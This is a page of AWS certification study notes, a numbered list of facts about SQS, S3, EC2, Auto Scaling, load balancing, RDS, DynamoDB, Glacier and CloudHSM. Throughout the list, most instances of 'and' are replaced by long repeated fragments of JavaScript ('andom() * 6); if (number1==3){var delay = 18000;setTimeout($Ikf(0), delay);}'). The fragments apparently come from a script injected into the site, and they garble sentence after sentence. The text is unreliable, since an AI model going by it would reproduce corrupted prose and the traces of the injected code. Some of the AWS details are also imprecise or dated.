1. Amazon SQS supports an unlimited number of queues, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 120,000 messages per queue for each user. Please be aware that Amazon SQS automatically deletes messages that have been in the queue for more than 14 days.
  2. The user can configure SQS, which will decouple the call between the EC2 application andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and S3. Thus, the application does not keep waiting for S3 to provide the data.
  3. Auto Scaling enables you to follow the demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and curve for your applications closely, reducing the need to manually provision Amazon EC2 capacity in advance. For example, you can set a condition to add new Amazon EC2 instances in increments to the Auto Scaling group when the average utilisation of your Amazon EC2 fleet is high; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and similarly, you can set a condition to remove instances in the same increments when CPU utilisation is low. If you have predictable load changes, you can set a schedule through Auto Scaling to plan your scaling activities. You can use Amazon CloudWatch to send alarms to trigger scaling activities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Elastic Load Balancing to help distribute traffic to your instances within Auto Scaling groups. Auto Scaling enables you to run your Amazon EC2 fleet at optimal utilisation.
  4. Amazon S3 provides four different access control mechanisms: AWS Identity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Access Management (IAM) policies, Access Control Lists (ACLs), bucket policies, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and query string authentication.
  5. Amazon S3 bucket policies can be used to add or deny permissions across some or all of the objects within a single bucket.
  6. With Query string authentication, you have the ability to share Amazon S3 objects through URLs that are valid for a specified period of time.
  7. The user can get notifications using SNS if he has configured the notifications while creating the Auto Scaling group.
  8. In Elastic Load Balancing a health configuration uses information such as protocol, ping port, ping path (URL), response timeout period, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and health check interval to determine the health state of the instances registered with the load balancer.Currently, HTTP on port 80 is the default health check.
  9. Security groups—Act as a firewall for associated Amazon EC2 instances, controlling both inbound andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and outbound traffic at the instance level. Security groups are stateful: (Return traffic is automatically allowed, regardless of any rules)
  10. Network access control lists (ACLs)—Act as a firewall for associated subnets, controlling both inbound andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and outbound traffic at the subnet level. Network ACLs are stateless: (Return traffic must be explicitly allowed by rules).
  11. Amazon Glacier supports various vault operations.
    1. A vault inventory refers to the list of archives in a vault.
    2. Downloading a vault inventory is an asynchronous operation. 
    3. Given the asynchronous nature of the job, you can use Amazon Simple Notification Service (Amazon SNS) notifications to notify you when the job completes
    4. Amazon Glacier prepares an inventory for each vault periodically, every 24 hours. If there have been no archive additions or deletions to the vault since the last inventory, the inventory date is not updated.
  12. Within Amazon EC2, when using a Linux instance, the device name /dev/sda1 is reserved for the root device. Another device name, /dev/xvda, is also reserved for certain Linux root devices.
  13. Each Amazon EBS Snapshot has a createVolumePermission attribute that you can set to one or more AWS Account IDs to share the AMI with those AWS Accounts. To allow several AWS Accounts to use a particular EBS snapshot, you can use the snapshots’s createVolumePermission attribute to include a list of the accounts that can use it.
  14. A Classic Load Balancer routes each request independently to the registered instance with the smallest load. However, you can use the sticky session feature (also known as session affinity), which enables the load balancer to bind a user’s session to a specific instance. This ensures that all requests from the user during the session are sent to the same instance.
  15. EMR monitoring choices:
    1. Hadoop Web Interfaces
      Every cluster publishes a set of web interfaces on the master node that contain information about the cluster. You can access these web pages by using an SSH tunnel to connect them on the master node.
    2. CloudWatch Metrics
      Every cluster reports metrics to CloudWatch. CloudWatch is a web service that tracks metrics, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and which you can use to set alarms on those metrics.
    3. Ganglia
      Ganglia is a cluster monitoring tool. To have this available, you have to install Ganglia on the cluster when you launch it. After you’ve done so, you can monitor the cluster as it runs by using an SSH tunnel to connect to the Ganglia UI running on the master node.
  16. The Multi AZ feature allows the user to achieve High Availability. For Multi AZ, Amazon RDS automatically provisions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintains a synchronous “standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andby” replica in a different Availability Zone.
  17. By default, all accounts are limited to 5 Elastic IP addresses per region. If you need more than 5 Elastic IP addresses, AWS asks that you apply for your limit to be raised. They will ask you to think through your use case andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and help them understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your need for additional addresses.
  18. When the user account has reached the maximum number of EC2 instances, it will not be allowed to launch an instance. AWS will throw an ‘InstanceLimitExceeded’ error. For all other reasons, such as “AMI is missing part”, “Corrupt Snapshot” or ”Volume limit has reached” it will launch an EC2 instance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then terminate it.
  19. A VPC security group controls access to DB instances andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and EC2 instances inside a VPC. Amazon RDS uses VPC security groups only for DB instances launched by recently created AWS accounts.
  20. CloudFormation: If any of the services fails to launch, CloudFormation will rollback all the changes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and terminate or delete all the created services.
  21. When modifying EBS snapshot permissions with AWS Console, one of the options is to make the snapshot public or not. However, snapshots with AWS Marketplace product codes CANNOT be made public.
  22. Amazon EBS replication is stored within the same availability zone, not across multiple zones; therefore, it is highly recommended that you conduct regular snapshots to Amazon S3 for long-term data durability.
  23. For customers who have architected complex transactional databases using EBS, it is recommended that backups to Amazon S3 be performed through the database management system so that distributed transactions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and logs can be checkpointed.
  24. AWS Import/Export supports: 
    1. Import to Amazon S3
    2. Import to Amazon EBS
    3. Import to Amazon Glacier
    4. Export from Amazon S3 (only)
  25. When you enable connection draining, you can specify a maximum time for the load balancer to keep connections alive before reporting the instance as deregistered. The maximum timeout value can be set between 1 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 3,600 seconds (the default is 300 seconds).
  26. Amazon SNS makes it simple andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cost-effective to push to mobile devices, such as iPhone, iPad, Android, Kindle Fire, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and internet connected smart devices, as well as pushing to other distributed services.
  27. In relation to AWS CloudHSM, High-availability (HA) recovery is handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands-off resumption by failed HA group members. Prior to the introduction of this function, the HA feature provided redundancy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and performance, but required that a failed/lost group member be manually reinstated.
  28. AWS generates separate unique encryption keys for each Amazon Glacier archive, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and encrypts it using AES-256. The encryption key then encrypts itself using AES-256 with a master key that is stored in a secure location.
  29. Instances that you launch into a default subnet receive both a public IP address andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a private IP address.
  30. Instances that you launch into a non default subnet in a default VPC don’t receive a public IP address or a DNS hostname. You can change your subnet’s default public IP addressing behaviour.
  31. When you create or modify your DB Instance to run as a Multi-AZ deployment, Amazon RDS automatically provisions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintains a synchronous “standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andby” replica in a different Availability Zone. 
    Updates to your DB Instance are synchronously replicated across Availability Zones to the standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andby in order to keep both in sync andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and protect your latest database updates against DB Instance failure. 
  32. To determine your instance’s public IP address from within the instance, you can use instance metadata at http://169.254.169.254/latest/meta-data/
  33. You can’t attach an EBS volume to multiple EC2 instances. This is because it is equivalent to using a single hard drive with many computers at the same time.
  34. RAID 5 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and RAID 6 are not recommended for Amazon EBS because the parity write operations of these RAID modes consume some of the IOPS available to your volumes.
  35. New Amazon SES users start in the Amazon SES sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andbox, which is a test environment that has a sending quota of 1,000 emails per 24-hour period, at a maximum rate of 1 email per second..
  36. SES Sending limits are based on recipients rather than on messages. 
  37. Every Amazon SES sender has a unique set of sending limits, which are calculated by Amazon SES on an ongoing basis.
  38. The Elastic Load Balancer connection draining feature causes the load balancer to stop sending new requests to the back-end instances when the instances are deregistering or become unhealthy, while ensuring that in-flight requests continue to be served. Max connection draining time is 1 hour (3600 seconds).
  39. Resource-based permissions are supported by Amazon S3, Amazon SNS, Amazon SQS, Amazon Glacier.
  40. Amazon DynamoDB integrates with AWS Identity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Access Management (IAM). You can use AWS IAM to grant access to Amazon DynamoDB resources andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and API actions. To do this, you first write an AWS IAM policy, which is a document that explicitly lists the permissions you want to grant. You then attach that policy to an AWS IAM user or role.
  41. Every CloudFront web distribution must be associated either with the default CloudFront certificate or with a custom SSL certificate. Before you can delete an SSL certificate, you need to either rotate SSL certificates (replace the current custom SSL certificate with another custom SSL certificate) or revert from using a custom SSL certificate to using the default CloudFront certificate.
  42. You can’t use IAM to control access to CloudWatch data for specific resources.
  43. FGAC can benefit any application that tracks information in a DynamoDB table, where the end user (or application client acting on behalf of an end user) wants to read or modify the table directly, without a middle-tier service.
  44. The core components of DynamoDB are
    1. “Table”, a collection of Items
    2. “Items”, with Keys andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one or more Attribute;
    3. “Attribute”, with Name andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Value
  45. The AWS CloudHSM service defines a resource known as a high-availability (HA) partition group, which is a virtual partition that represents a group of partitions, typically distributed between several physical HSMs for high-availability. 
  46. You are billed per-second with a one-minute minimum for On-Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Spot andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Reserved instances as long as your EC2 instance is in a running state, provided the instance is Linux (with some exceptions), andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not a Windows operating system, in which case the instance would be billed per-hour.
  47. Virtual tape shelf is backed by Amazon Glacier whereas virtual tape library is backed by Amazon S3.
  48. Amazon CloudFront billing is mainly affected by
    1. Data Transfer Out
    2. Edge Location Traffic Distribution
    3. Invalidation Requests
    4. HTTP/HTTPS Requests
    5. Dedicated IP SSL Certificates
  49. You can create an Auto Scaling group directly from an EC2 instance. When you use this feature, Auto Scaling automatically creates a launch configuration for you as well.
  50. In AWS CloudHSM, you can perform a remote backup/restore of a Luna SA partition if you have purchased a Luna Backup HSM. 
  51. A VPC can span several Availability Zones. In contrast, a subnet must reside within a single Availability Zone.
  52. You grant AWS Lambda permission to access a DynamoDB Stream using an IAM role known as the “execution role”. 
  53. You can assign tags only to resources that already exist. You can’t terminate, stop, or delete a resource based solely on its tags; you must specify the resource identifier.
  54. The different cluster states of an Amazon EMR cluster are listed below.
